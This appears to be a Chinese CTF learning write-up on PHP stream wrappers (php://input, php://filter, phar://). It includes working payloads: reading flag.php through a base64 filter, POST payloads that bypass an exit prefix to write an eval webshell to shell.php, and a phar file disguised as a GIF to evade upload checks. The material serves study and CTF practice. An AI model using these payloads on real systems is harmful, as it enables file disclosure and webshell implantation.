0x00前言:

hgame的线上和线下赛都陆续结束了,收获蛮多的,其中就有许多的题目涉及到了PHP伪协议的运用,趁着现在有点空余时间,也想起了之前司大哥让我好好的总结一下这方面的知识,于是便写一写这方面的有关知识。


首先给出官方文档:http://php.net/manual/zh/wrappers.php

包括以下一些内容:

file:// (http://php.net/manual/zh/wrappers.file.php) — 访问本地文件系统

http:// (http://php.net/manual/zh/wrappers.http.php) — 访问 HTTP(s) 网址

ftp:// (http://php.net/manual/zh/wrappers.ftp.php) — 访问 FTP(s) URLs

php:// (http://php.net/manual/zh/wrappers.php.php) — 访问各个输入/输出流(I/O streams)

zlib:// (http://php.net/manual/zh/wrappers.compression.php) — 压缩流

data:// (http://php.net/manual/zh/wrappers.data.php) — 数据(RFC 2397)

glob:// (http://php.net/manual/zh/wrappers.glob.php) — 查找匹配的文件路径模式

phar:// (http://php.net/manual/zh/wrappers.phar.php) — PHP 归档

ssh2:// (http://php.net/manual/zh/wrappers.ssh2.php) — Secure Shell 2

rar:// (http://php.net/manual/zh/wrappers.rar.php) — RAR

ogg:// (http://php.net/manual/zh/wrappers.audio.php) — 音频流

expect:// (http://php.net/manual/zh/wrappers.expect.php) — 处理交互式的流

下面就按照我目前所做到的题目中,以上协议出现的大致频率作一些总结。

0x01 PHP输入流:php://input 相关

1.php://input的理解

第一次接触这个协议是在赛博的新生测试中,当时才刚刚接触CTF,什么都不会(虽说现在也差不多)。

回忆一下当时的题目,大致是这么一段源码:

$data = @file_get_contents($_GET['data'],'r');
......
if($data=="web_1s_rea1_funny"&& preg_match("/^lalala$/m", $_GET['fake'])&& $_GET['fake']!=="lalala") {...}

我们需要传入一个文件,内容为 web_1s_rea1_funny,这里就可以通过伪协议 php://input达到目的。

首先看到官方文档中有这么一段话:

php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data。

以上信息提取整理一下大致就是:

1.读取POST数据。

2.在enctype=multipart/form-data时无效。

3.和$HTTP_RAW_POST_DATA的比较。

首先需要学习了解一下几个http的相关知识


我们一般将http请求分为三部分:状态行,请求头,请求体,而在请求头中:

Content-Type:指定服务器返回(发送回来)的实体数据类型。格式:Content-Type: [type]/[subtype]

例如: Content-type:text/html 就表示返回的内容是文本格式,且是HTML格式的文本内容。

上文提到的enctype,是form表单的一个属性,可在指定请求头中Content-Type的值。

既然提到了Content-type 那也就顺带的提一下Accept

Accept:表明了客户端希望接受的数据类型。格式与Content-Type相同。


2.php://input 的独特之处?

下面进入正题:

首先我们提出几个问题:

1.php://input 和 内置变量$_POST*以及在PHP7.0版本中已经被移除的*$HTTP_RAW_POST_DATA有什么区别?

2.php://input 作为PHP输入流 可以获取POST数据,那么是否也能够获取GET数据?

3.在哪些情况下会使用到PHP://input ?


1.他们都可读取POST数据,那么他们之间有什么区别和联系呢?(主要讨论前两者)

我们来写一个测试程序了解一下:

<html>
<head>
    <title></title>
</head>
<body>
<form action="test.php" method="post">
    <input type="text" name="name" value="">
    <input type="submit" name="submit" value="submit">
</form>
</body>
</html>

<?php
echo "----------php://input--------<br />";
var_dump(file_get_contents('php://input', 'r'));
echo "<br />----------post---------<br />";
var_dump($_POST);
?>

直接进行测试,此时默认 Content-Type: application/x-www-form-urlencoded 发现以下输出:

----------php://input--------
string(23) "name=test&submit=submit" 
----------post---------
array(2) { ["name"]=> string(4) "test" ["submit"]=> string(6) "submit" }

我们发现request body 中的数据被转换为了关联数组存入变量$_POST中,而php://input则读取了post的原始数据。

接下来改变Content-Type的值 ,通过改变表单的属性:enctype=“multipart/form-data”

<form action="test.php" method="post" enctype="multipart/form-data">
    <input type="text" name="name" value="">
    <input type="submit" name="submit" value="submit">

得到以下结果:

----------php://input--------
string(0) "" 
----------post---------
array(2) { ["name"]=> string(4) "test" ["submit"]=> string(6) "submit" }

可以发现,这时php://input 已经读取不到post的数据了。

而当指定Content-Type=text/plain的时候:

----------php://input--------
string(26) "name=test submit=submit " 
----------post---------
array(0) { }

发现$_POST已经获取不到数据了,而php://input正常的获取到了原始数据。

3.小结

$_POST:

$POST是最常用的一种读取post数据的方式,$POST 在请求类型设置成application/x-www-data-urlencodedmultipart/form-data才会去请求体中封装数据返回给程序。

php://input:

php://input作为php的输入流,可以获取到http请求体中的原始数据,但是在enctype=multipart/form-data时无效。

2.php://input 作为php的输入流,能否读取GET数据?

上面已经提到了,php://input是通过读取http请求主体的方式来获取数据的,之所以能够获取到post的数据,正是因为以post方式提交数据后,会将post数据写在请求主体中再发送给服务器,所以php://input可以获取到post的数据,而相应的,GET的数据存在于URL以及请求头的起始行,所以无法被php://input获取。

3.在哪些情况下会使用到php://input所获取的原始数据?

很多时候,接收到不是网页 POST 过来的数据,而是可能通过其他方式 POST 过来的 “text/xml” 格式的数据,这些内容无法解析成 $_POST 数组,这个时候我们就需要原始的 POST 数据进行处理。

0x02 PHP://filter

php://filter 在CTF题目中出现的频率很高,而且非常的有用,所以也稍作整理一下。


1.什么是php://filter

要使用php://filter ,其受限于php.ini配置:

allow_url_fopenallow_url_include

首先看官方文档怎么说:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(*|*)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(*|*)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

大致总结归纳出以下几点:

1.根据名字,filter,顾名思义,是一个可以用来过滤一些东西的协议,而过滤的目标(数据流)就是通过resource来指定的。

2.read参数用来设定读取数据时所使用的过滤的方式(过滤器),并且能够使用多个过滤器。

3.write则是写入文件时所使用的参数,其功能与read类似。

补充一点:filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。


2.如何使用php://filter

下面就结合具体的例子来理解一下:

1.简单的文件包含
<?php
    $file = $_GET['file'];
    if(isset($file)){
        include("$file");
    }else{
        echo "file fail";
    }
?>

上面是最简单的一个文件包含漏洞,因为没有对可控变量$file进行过滤处理,导致可以包含任意文件。

比如我们想要读取到同目录下的flag.php文件,很容易我们就会写出以下Payload:

xxx.php?file=php://filter/read=convert.base64-encode/resource=flag.php

便可以得到经过base64加密的文件内容。

但要是直接使用

xxx.php?file=flag.php

会发现,得不到任何内容,这是为什么呢?

在hgame的时候,Li4n0学长问过我这个问题,当时对这个东西还是比较模糊的,只知道怎么用,却忽视了其中的原理。

其实这是因为,我们所包含的文件flag.php是一段php代码,在整个网页的请求过程中,我们的flag.php文件中的代码符合php语法规范,所以服务器首先执行了php代码,将其翻译为html再发送到客户端浏览器上显示出来,因此,php的”真身”在被执行之后就无法在浏览器中显示出来了。

所以我们需要使服务器读到的文件不符合语法规范,这里就用到了过滤器:convert.base64-encode

将php代码base64加密后再返回给浏览器我们的代码就不会被执行了,于是就成功的读取到了文件内容。


当然,这里不仅仅可以用base64加密的方式,还有许多过滤器可以使用,下面就总结一下:

字符串过滤器:(string.*)

1.string.rot13 将字符串进行rot13编码

(ps:非字母无法被rot13编码,如:尖括号标签,所以不能完全代替base64的功能读取php文件)

2.string.toupper 以大写字母的形式读取文件内容

3.string.tolower 以小写字母的形式读取文件内容

4.string.strip_tags 去除数据流中的标签 (包括HTML XML PHP等的标签)

转换过滤器:(convert.*)

1.convert.base64-encode/decode 最常用的,将数据流进行base64加密

2.convert.quoted-printable-encode/decode


举个经典的例子说明一下:

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

在这段代码中,开头加了exit过程,导致无法执行我们写入的webshell,但是我们可以发现file_put_contents函数中的 $_POST[‘filename’]我们是可控的,并且能够使用伪协议,所以这里我们有以下几种解法:

解法一:

可以使用php://filter配合base64的转换过滤器使得exit失效,

首先还是需要了解一下base64编码的具体过程:

在大佬的博客中看见,一个正常的base64_decode实际上可以理解为如下两个步骤:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

正常的base64编码的范围包括所有字母数字以及+/共64个字符,所以很明显,题中字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,最终被解码的字符仅有“phpexit”和我们传入的其他字符。但是”phpexit”只有7个字符,而base64算法解码时以4个字符为一组,所以我们应该再给他配上一个字符,如我们可以构造:phpexita 使其可以被正常解码,成为非法的php代码,将其绕过。

最终payload:

[POST]
txt=aPD9waHAgQGV2YWwoJF9QT1NUWydjb2RlJ107KT8+&filename=php://filter/write=convert.base64-decode/resource=shell.php

解法二:

由于我们需要绕过的语句由php标签包围,所以我们可以利用上述提到的字符串过滤器:string.strip_tags来过滤php标签,但是考虑到我们要写入的webshell也是带有标签的内容,所以不能够直接处理掉所有的标签,所以我们可以通过先将base64编码的方式将webshell编码,防止其受到影响。同时,我们用到上述介绍到的 可以设定一个或多个过滤器 这点,先使用string.strip_tags来去除标签,再使用convert.base64-decode将我们的webshell解码复原便可绕过。

最终payload:

[POST]
txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

解法三:

前面有介绍到字符串过滤器string.rot13,所以这里我们还可以通过string.rot13来绕过。

<?php exit; ?> 在经过rot13编码后会变成<?cuc rkvg; ?>在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了。

所以我们只要构造:

[POST]
txt=<?cuc rkvg; ?>&filename=php://filter/write=string.rot13/resource=shell.php

0x03 phar:// 的理解和使用

1.什么是phar?

PHP5.3 之后支持了类似 Java 的 jar 包,名为 phar。用来将多个 PHP 文件打包为一个文件。这个特性使得 PHP 也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。(但是好像并没什么人用

2.phar文件的结构

1.stub

一个供phar扩展用于识别的标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2.manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

img

3.contents

被压缩文件的内容。

4.signature

签名,放在文件末尾,格式如下:

https://images.seebug.org/content/images/2018/08/f87194d9-81d6-4786-9339-8a7d4ac596d5.png-w331s

3.初探phar://

要使用php内置的phar类来进行生成phar文件的操作,我们首先需要将php.ini中的phar_readonly设置为off,否则phar为只读模式,无法生成写入文件,修改后,调出phpinfo确认是否已经成功开启。

成功关闭后,我们可以尝试创建一个phar文件:

<?php
	class Test {
	}
	$phar = new Phar("test.phar"); //后缀名必须为phar
	$phar->startBuffering();
	$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
	$o = new Test();
	$o -> data='Annevi';
	$phar->setMetadata($o); //将自定义的meta-data存入manifest
	$phar->addFromString("test.txt", "test"); //添加要压缩的文件
	//签名自动计算
	$phar->stopBuffering();
?>

成功生成phar文件。

查看我们生成的phar文件,发现我们写入的数据(meta-data)被以序列化的方式储存起来。

这里的序列化也就是phar文件存在的意义,它可以将类、属性等通过序列化为字符串的形式,将其打包起来,方便使用和储存,但是,序列化之后在使用时必然会有反序列化的操作。

在php解析phar包的时候,会将meta-data 的内容反序列化,恢复之前我们写入的内容,如:

<?php
class Test{
    function __destruct() //魔术方法,在对象被销毁时自动调用
    {
        echo $this -> data;
    }
}
include('phar://test.phar');
?>

通过伪协议phar://读取(解压)我们生成的phar文件得到:

发现我们之前写入的内容已经被成功反序列化恢复了。

这也就会引起许多的安全问题,比如如果我们写入一段恶意代码。先不细说,在之后的反序列化漏洞总结中再详细介绍。

4.通过修改文件头,伪造phar为其他格式

前面介绍了php识别phar文件时是通过phar文件头中的stub,也就是__HALT_COMPILER();?>这段代码,并没有规定其在文件头中出现的位置或者是文件后缀,所以我们可以通过伪造文件头同时修改后缀的方式伪造成其他文件,从而绕过一些文件类型的检测。

<?php
class Test {
}
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$o -> data='Annevi';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

用binwalk分析文件类型,可以看到,已经被识别为gif类型了。这在一些只允许图片上传的场景中很有用。


参考文档:

https://lorexxar.cn/2016/09/14/php-wei/

https://blog.wpjam.com/m/post-http_raw_post_data-php-input/

http://www.nowamagic.net/academy/detail/12220520

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://xz.aliyun.com/t/2715